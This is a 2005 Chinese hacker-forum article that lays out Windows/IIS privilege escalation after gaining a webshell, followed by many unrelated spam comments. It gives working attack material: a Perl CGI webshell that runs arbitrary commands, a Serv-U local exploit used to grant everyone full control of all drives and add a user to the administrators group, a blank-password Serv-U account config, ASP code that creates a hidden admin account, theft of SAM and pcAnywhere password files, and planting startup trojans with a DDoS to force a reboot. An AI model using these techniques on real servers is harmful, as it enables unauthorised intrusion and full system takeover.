提升权限终极技巧 -红旋风联盟-技术文档中心|RHU-Tech-Article-Center

相关联接

RHU本级分类

新手入门
 入侵实例
 工具使用
 安全防范
 黑客人物
 软件破解
 漏洞研究

RHU相关搜索

　

RHU广而告之

　

>您的位置：首页 -> 黑客帝国-> 新手入门

提升权限终极技巧

作者:RHU-TAC编辑员来自:RHU网络编辑时间:2005-3-2 双击滚屏收藏本页 字体:大中小

点击查看RHU2004全年文章

本篇文章结合了许多高手提升权限的技巧和自己的一些想法

当我们取得一个webshell时候，下一部要做的就是提升权限

个人总结如下：
1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\
看能否跳转到这个目录，如果行那就最好了，直接下它的CIF文件，得到pcAnywhere密码，登陆
ps: 破解工具本站已提供。请自己Search一下！

2.C:\WINNT\system32\config\
进这里下它的SAM，破解用户的密码
用到破解sam密码的软件有LC，SAMinside

3.C:\Documents and Settings\All Users\「开始」菜单\程序\
看这里能跳转不，我们从这里可以获取好多有用的信息
可以看见好多快捷方式，我们一般选择Serv-U的，然后本地查看属性，知道路径后，看能否跳转
进去后，如果有权限修改ServUDaemon.ini，加个用户上去，密码为空
[USER=WekweN|1]
Password=
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有最高权限，然后我们就可以ftp上去 quote site exec xxx 来提升权限

4.c:\winnt\system32\inetsrv\data\
就是这个目录，同样是erveryone 完全控制，我们所要做的就是把提升权限的工具上传上去，然后执行

5.看能否跳转到如下目录
c:\php, 用phpspy
c:\prel，有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
保存为cgi执行,
如果不行，可以试试 pl 扩展呢，把刚才的 cgi 文件改为 pl 文件，提交 http://anyhost//cmd.pl?dir
显示"拒绝访问"，表示可以执行了！马上提交：先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录
http://anyhost//cmd.pl?c\perl\bin\su.exe
返回：
Serv-u >3.x Local Exploit by xiaolu

USAGE: serv-u.exe "command"

Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
现在是 IUSR 权限，提交：
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
如果返回下面的信息，就表示成功了
Serv-u >3.x Local Exploit by xiaolu

<220 Serv-U FTP Server v5.2 for WinSock ready...

>USER LocalAdministrator

<331 User name okay, need password.

******************************************************

>PASS #l@$ak#.lk;0@P

<230 User logged in, proceed.

******************************************************

>SITE MAINTENANCE

******************************************************

[+] Creating New Domain...

<200-DomainID=2

<220 Domain settings saved

******************************************************

[+] Domain xl:2 created

[+] Creating Evil User

<200-User=xl

200 User settings saved

******************************************************

[+] Now Exploiting...

>USER xl

<331 User name okay, need password.

******************************************************

>PASS 111111

<230 User logged in, proceed.

******************************************************

[+] Now Executing: cacls.exe c: /E /T /G everyone:F

<220 Domain deleted
这样所有分区为everyone完全控制
现在我们把自己的用户提升为管理员：

http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add"

6.可以成功运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件：idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了

7.还可以用这段代码试提升，好象效果不明显
<%@codepage=936%><%Response.Expires=0
on error resume next
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user","WekweN$")
od.SetPassword "WekweN" <-----密码
od.SetInfo
Set of=GetObject(oz&"/WekweN$,user")
oe.Add(of.ADsPath)
Response.write "WekweN$ 超级帐号建立成功!"%>

用这段代码检查是否提升成功
<%@codepage=936%>
<%Response.Expires=0
on error resume next '查找Administrators组帐号
Set tN=server.createObject("Wscript.Network")
Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")
For Each admin in objGroup.Members
Response.write admin.Name&"<br>"
Next
if err then
Response.write "不行啊:Wscript.Network"
end if
%>

8.C:\Program Files\Java Web Start\
这里如果可以，一般很小，可以尝试用jsp的webshell，听说权限很小，本人没有遇见过。

9.最后了，如果主机设置很变态，可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat，vbs等木马。

等到主机重启或者你ddos逼它重启，来达到权限提升的目的。

总结起来说就是，找到有执行和写入的目录，管他什么目录，然后上传提升工具，最后执行，三个字"找" "上""执"

OVER

第[1] 页

RedHyphone.Union 投稿邮箱

[特别声明]:
①本站文章大多搜索转载自网络中，如果侵犯了您的权利，请告之我们。本站将立即删除。
②本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有。

【查看评论】【向上滚屏】【关闭窗口】【大中小】【打印】

-相关文章

格式化字符串攻击笔记

入侵win98系统(主机设有共享盘)的几个方法

黑客破解口令常用的三种方法

从一个简单破解中浅谈破解的思路

凯撒密文的破解编程实现

-文章评论 (关闭)

门禁:
021-51692866西门子门禁产品供应西门子门禁产品维护西门子门禁产品维修西门子门禁产品德国西门子门禁产品
海顺门控021-51692866专业批发西门子门禁产品，西门子门禁产品是全球高端稳定的门禁系统，西门子门禁产品得控制器和控制器件采用网络传输方式，西门子门禁产品得控制器和读卡头接口模块采用采用485传输方式，西门子门禁产品得读卡头接口模块和读卡头采用维庚方式传输，海顺提供西门子门禁产品的设备和西门子门禁产品的安装及维护工作

81100:

自动门:

苏打粉:
<A href="http://www.shbaojing.com/">报警</A>
<A href="http://www.chinakaba.com/1.htm/">局域网监控软件</A>

66e@60e.net:
现有二手久保田481型半喂入稻麦联合收割机，机器为原装进口，具有操作简单，可靠耐用。南征北战无忧虑，创业致富好帮手。质优价廉，欢迎垂询！现货供应，欢迎来人来电来函联系人：王国顺负责人手机：13705106413咨询电话：0515－8892093业务咨询：13160448888详情访问：http://www.60e.net

liumingming@yahoo.com:
[url=http://www.ruitong4s.com]北京现代[/url][url=http://www.pasef.cn/products.htm]四轮定位[/url][url=http://www.ms21.com.cn]法兰[/url][url=http://www.sh-esc.com/escjy.htm]二手车交易[/url][url=http://www.click2008.com]网站推广[/url][url=http://www.vipsite.cn]GOOGLE排名[/url]

周先生:

监控:
<a href="http://www.haishun.net/">监控</a> 专业监控维护和维修

fjzd@fjzd.com:

66e@60e.net:
现有二手久保田3250型4813250型半喂入稻麦联合收割机，机器为原装进口，具有操作简单，性能卓越，可靠耐用。质优价廉，欢迎垂询！现货供应，欢迎来人来电来函联系人：王国顺负责人手机：13705106413咨询电话：0515－8892093业务咨询：13160448888详情访问：http://www.60e.net

周先生:

东城:
随着人们对门禁系统各方面要求的不断提高，<a href="http://www.haishun.net/">门禁</a> 系统的应用范围越来越广泛。人们对门禁系统的应用已不局限在单一的出入口控制，而且还要求它不仅可应用于智能大厦或智能社区的[url=http://www.haishun.net]门禁[/url]控制、考勤管理、安防报警、停车场控制、电梯控制、楼宇自控等，还可与其它系统联动控制等多种控制功能

周先生:

中国移动彩铃:

200型颗粒机:
商品简介：该机饲料可不粉碎，干进干出，大小可调，皮带传动，三相电，7.5千瓦电机或12马力柴油机，适用于各种畜禽及水产品制作颗粒饲料。
外形尺寸：40X40X70厘米（长X宽X高）
颗粒直径：2.5－6毫米
工作效率：300公斤/小时
单机重量：110公斤
详情访问：www.60e.net
咨询电话：0515－8892093
联系人:王志为
现货供应，欢迎来人来电来函

周先生:

baoqing@gdyinshi.com:

ican@ican-music.com:
爱群琴行现需招聘大量各类专业人才，主要是音乐、艺术类，欢迎来电来函或上网咨询登记。

tqhgst@pkjqx.com:
犹太裔交友中心犹太裔交友中心正快速地成长为拥有200,000注册会员的最大的线上犹太裔交友网站。此站对象是那些寻求真爱，罗曼蒂克，以及婚姻的单身人士。英文网站，学习英文的朋友不可错过。[url]http://jewishfriendfinder.com/go/f8350[url]

二手插秧机:
现有二手插秧机秧盘出售。质优价廉，欢迎垂询！

联系手机：13705106413
咨询手机：13160448888
咨询电话：0515－8892093
联系人:王国顺
现货供应，欢迎来人来电来函

OKTE超级搜索:

mbaerp@tom.com:
是否咨询的电话很少?是不是长途的咨询电话更少?是不是客户的咨询过程很仓促?想不想让客户免费的通话就能咨询你?免费通是您的理想选择.免费通不是网络电话,使用免费通可实现双方通话免费,让客户享受尊贵服务,让客户不再忧虑长途话费,使你的客户能更好的进行咨询和业务洽谈,无限时间,无限次数,显而易见的服务,树立客户群中的品牌形象.http://www.qdmianfeitong.comhttp://www.qdmianfeitong.com

cvbnnnnnnnn@163.com:

ican@ican-music.com:

jjm1967@163.com:
南通电脑维修www.nt159.com

vpdjxq@ogime.com:
www.gogozuche.cn「gogo租车网」中国分行中国首家最精确最快捷网络连锁租车行，五十多个城市联网汽车租赁,提供优质商务，会展，旅游，结婚，机场接机，宾馆迎送，长租短包，省际旅游包车用车，拥有林肯凯迪拉克奔驰宝马系列奥迪A6帕萨特别克通用大众海马系列等上百款车型..."www.gogozuche.cn招商加盟热线：053280804747

66e@60e.net:
现有二手久保田3250型半喂入稻麦联合收割机，机器为原装进口，具有操作简单，性能卓越，可靠耐用。南征北战无忧虑，创业致富好帮手。质优价廉，欢迎垂询！现货供应，欢迎来人来电来函联系人：王国顺负责人手机：13705106413咨询电话：0515－8892093业务咨询：13160448888详情访问：http://www.60e.net

12345678@msn.com:

hbsscr@163.com:

zhilong1027@126.com:
风之舞智能手机论坛http://www.fzw6.cn

ubmbmn@lagqe.com:
印度交友中心此站为世界上主要的印度交友网站。英文网站，学习英文和想交印度朋友的不可错过。[url]http://indianfriendfinder.com/go/f7523[url]

苏大名:

puxqhg@umfdx.com:
留言轻松发，方便你我他。[url]http://www.dazzled.com/haodi/[url]

自动门:

张经理:

mbaerp@tom.com:
Google免费开户送300元立刻占领全球第一投资回报率高：可改进预算和投放目标，排竞争对手前面。客户满意度高：调查显示客户满意度最高，续费率高达90。灵活性高：目标客户对您的产品和服务感兴趣引发需求。相关性高：按点击次数付费与众不同，点击质量高。覆盖率高：Google是全球最大搜索引擎，覆盖200多个国家。可以马上投放广告，可以自己管理帐户，自己控制费用，自己控制在Google首页的广告排名位置，同时可以选择广告发布到163、QQ搜索已经几千家联盟网站。关于活动结束日期另通知

张经理:

张先生:

dujkoe@wgfuc.com:
极速群发10万留言本，数万大型论坛，效果惊人，三个小时改变你的网站流量！免费下载！[url]http://www.vhv.cn[url]

bsmpau@jhhcn.com:
唯一大面积高速群发十万留言本数万论坛大型信息港，效果惊人！此处观看效果：[url]http://www.vhv.cn[url]此处加入：[url]http://www.vhv.cn[url]请多观察一段时间，看看是否不影响你的其它工作.加入时点击页面上的按钮FREEPROMOTION，之后在下一页面上填入邮箱和密码就可以得到自己的赚钱页面了

dogiwl@ziisa.com:
极速群发10万留言本，数万大型论坛，效果惊人，三个小时改变你的网站流量！免费下载！[url]http://www.vhv.cn[url]

招先生:

网页:

招先生:

网页:

招先生:

张先生:

招先生:

zhongzhiyuan@gmail.com:

高氏莲青:

tyv5@tyv5.com:

yvhk9992@126.com:

tyv5@tyv5.com:

gameco@163.com:
【生活百科知识导航】一本网上的生活百科全书http://life.95200.com/囊括家庭、个人、衣饰、饮食、家居、出行、玩家、旅游、运动、教育、理财、法规、两性等方面的百科知识。是求知解惑的好助手。站上更有各类生活专家为你提供生活问题解答。本站诚邀广大热爱生活，乐于探求生活知识的朋友，共同加盟建设该站http://life.95200.com/

wqc1976@163.com:

朱先生:
长沙臭豆腐是湖南传统名小吃，在全国有很大的影响力，投资小见效快利润大。是小本创业的首选项目。欢迎你成为我们的合作伙伴！我们也可以转让技术，还可以出示我们的营业执照和产品检验报告单[好多人没有]，详情请登陆www.cscdf.net

hksac2000@yahoo.com:

htawhm@pdnqb.com:
极速群发10万留言本，数万大型论坛，效果惊人，三个小时改变你的网站流量！免费下载！[url]http://www.vhv.cn[url]

mxlzmk@fjhja.com:
极速群发工具免费下载[url]http://www.vhv.cn[url]

gznwmj@bmeaq.com:
极速群发10万留言本免费下载！[url]http://www.vtov.net[url]

anymall@126.com:
初级电子爱好者购物---烧烧友乐园最新到货英国进口喇叭，日本SONY喇叭，美国天龙喇叭，汽车低音炮，家用低音炮，有源音箱适合于初级于初级电子爱好者动手制作的各种功放板等各种汽车功放板摩托车功放板可根据客户的要求定做各种型号的高中低档音箱箱体外观精美高档钢琴漆烤漆面板价格优惠出货速度快要求批量最小批量20套起价格从40/对起欢迎有意向的朋友及时低音炮制作，低音炮功放，低音炮音箱联系我们欢迎合作欢迎联络QQ426323617http://www.cana800.com

xingyi-tech@xingyi-tech.com:

pvlttg@uotgj.com:
留言轻松发，方便你我他。最后更新。除主要功能外，还有其它实用功能。两个网址可下载[url]http://www.vhv.cn/zxgx.htm[url]http://www.vtov.net[url]

web@168cx.com:
“哈里波特”“神话”“无极”......这些大片现在你只需一元就可下载。本站推出赠送服务，只要你在本站下载任一首铃声,只需一元就可得到免费下载帐号!你即可让你的手机炫彩不断,还可以高速下载一部电影大片,超高速服务器10分钟就可下载。下载网址:http://www.168cx.com

http://so.3boo.com:
http://so.3boo.com站长必备助手！域名网址搜索引擎收录、世界排名、网站收录、网站PR查询等详细信息查询!GoogleRank查询Google收录查询Baidu收录查询MSN收录查询Yahoo收录查询Yisou收录查询友情链接查询SINA收录查询SOHU收录查询163收录查询QQ收录查询中国搜索查询网页相关性检查Whois域名信息Alexa排名查询IP地址查询http://so.3boo.com

vapzpp@dlctk.com:
此站为世界上主要的印度交友网站。英文网站，学习英文和想交印度朋友的不可错过。[url]http://www.google.com[url]

多功能膨化机:
沈阳华恒专业提供食品膨化机024-88324639饲料膨化机,新型多功能膨化机,粽子形膨化机,性能稳定,结构精巧,操作简单以大米,玉米为原料,利用自身发热能将原物膨化成90倍以上各种形状膨化果时产50—100斤.随机赠送模具,附件及全面教材网址http://www.cnxjx.com

安妮:

水晶泥冰花土:
水晶泥冰花土生产厂家沈阳华恒024-88324639大量批发绚彩水晶泥冰花土厂家批发,晶莹透明不掉色,品质保证,颜色全,http://www.168hh.com提供专用水晶泥玻璃花瓶透气瓶。

anymall@126.com:
初级电子爱好者购物---烧烧友乐园最新到货英国进口喇叭，日本SONY喇叭，美国天龙喇叭，汽车低音炮，家用低音炮，有源音箱适合于初级于初级电子爱好者动手制作的各种功放板等各种汽车功放板摩托车功放板可根据客户的要求定做各种型号的高中低档音箱箱体外观精美高档钢琴漆烤漆面板价格优惠出货速度快要求批量最小批量20套起价格从40/对起欢迎有意向的朋友及时联系我们欢迎合作欢迎联络QQ426323617http://www.cana800.com

安妮:

luoyuan603@hotmail.com:

caishide8@126.com:

tirhvm@qudeo.com:
网络交友中心交友网络公司为全球最大的交友网站，拥有超过九百万名的注册会员及赢得多项赞赏。此站是针对想找寻爱情，恋情，以及甚至婚姻的单身贵族。[url]http://friendfinder.com/go/f69905[url]

贾先生:

8000个网站6万个留言本快速发布信息.网站登陆1300个大型搜索引擎，高速邮件群发上亿含搜索软件，留言本自动搜索群发软件！12万个论坛群发，QQ好友群发等最新版软件共28套，让您的信息迅速遍布互联网，只需180元加入终身制会员，免费获得以后所有新增软件！QQ138009818
电话13500981887 http://www.KERUO.COM
龙兴网络推广

贾先生:

web@168cx.net:
为庆祝本站成立两周年,本站推出特大优惠活动，全站手机铃声免费下载,每个手机号限2首,时间有限。http://www.i162.net本活动解释权归一路发彩信网所有

lcxwwd@jacuk.com:
留言轻松发，方便你我他。最近更新。[url]http://www.dazzled.com/haodi/[url]

kk16380@126.com:
韶关网站建设，韶关网站制作，韶关域名注册，主机韶关空间联系方式：0751-3326136，http://www.hz136.com

wsdtjj@vmaxe.com:
亚洲交友，交高尚朋友。全球最大的华人交友中心，欢迎您的加入。[url]http://www.google.com[url]

kk16380@126.com:
14000首歌任你唱，投币式卡拉OK点唱机！视佳VOD电脑点歌系统投币式卡拉OK点唱机，家庭电脑卡拉OK点歌系统，适用于卡拉OK包房、家庭、团体娱乐场合和庆典活动中。既可自娱自乐又可收费经营。有意请联系：0751-3326136，http://www.gd265.com诚征全国代理商或技术合作！

mgho@163.com:

用友软件优惠:

城市网:

杨先生:

njyanggu@njyanggu.com:

jeff:

q@mthemes.com:

众晶鑫:

双赢:

众晶鑫:

双赢:

贾先生:

Bill:
Please visit
<a href=http://www.www.hiddensoft.com.com>Auto Software</a>
<a href=http://www.sitgame.com>world-of-warcraft-gold</a>
<a href=http://www.ige.com>eq2</a>

ayfc@sina.com:

jltgtp@ffvqy.com:

egqpvd@absza.com:

trtzdr@qlvki.com:

fnpiqo@birsv.com:

tyv5@tyv5.com:

mvmlsy@ippwx.com:

tyv5@tyv5.com:

一发发供求发:

lfpess@hzrow.com:

dd:

rwgejk@oqjpo.com:

高效邮址:

udsbvo@rtmth.com:
极速群发10万留言本免费下载！[url]http://www.vtov.net[url]

tyv5@tyv5.com:

jainye@fukxd.com:
只需填一个邮箱地址和一个密码，就可以得到一个赚钱页面。赚钱不影响你上网.[url]http://rotatorqueen.com/?ID=29514[url]加入时点击页面上的按钮FREEPROMOTION，之后在下一页面上填入邮箱和密码就可以得到自己的赚钱页面了

cyf@fasf.com.cn:
**杭州宽带申请**各位网友好:现在申请宽带只须打个电话/网上登个记/就可以办理了。我公司开通一部24小时服务热线：(0571)28817982，24小时真诚为广大市民服务。客户热线：(0571)28817982服务QQ:365927193网上报名:www.nbcnc.net一切尽在服务中

明佳:

qxj163qxj@163.com:

明佳:

qxj163qxj@163.com:
[URL]http://www.news7788.com/[/URL]新闻[URL]http://www.man7788.com/[/URL]男人[URL]http://www.lady7788.com/[/URL]女性[URL]http://www.home7788.com/[/URL]房产[URL]http://www.law7788.com/[/URL]法律

一发发供求发:

wd135@163.com:

deactv@cgiop.com:
任何人皆可在关系网建立他们的事业网络。建立企业、个人间关系网，增进信息沟通，把握商业机会，发现理想的工作，寻找宝贵的商机。广结朋友，建立健康、互助的人际关系，寻找知心朋友，事业上的伙伴，生活中的伴侣[url]http://guanxi.com/go/f8625[url]

4454@dsf.com:

qxj163qxj@163.com:
http://www.aonet.cnhttp://www.testmore.comhttp://www.testmore.com/show_type/show_type_4.htmhttp://www.testmore.com/show_type/show_type_3.htm

网上大名：

红旋风网络技术联盟　RHUTech.Union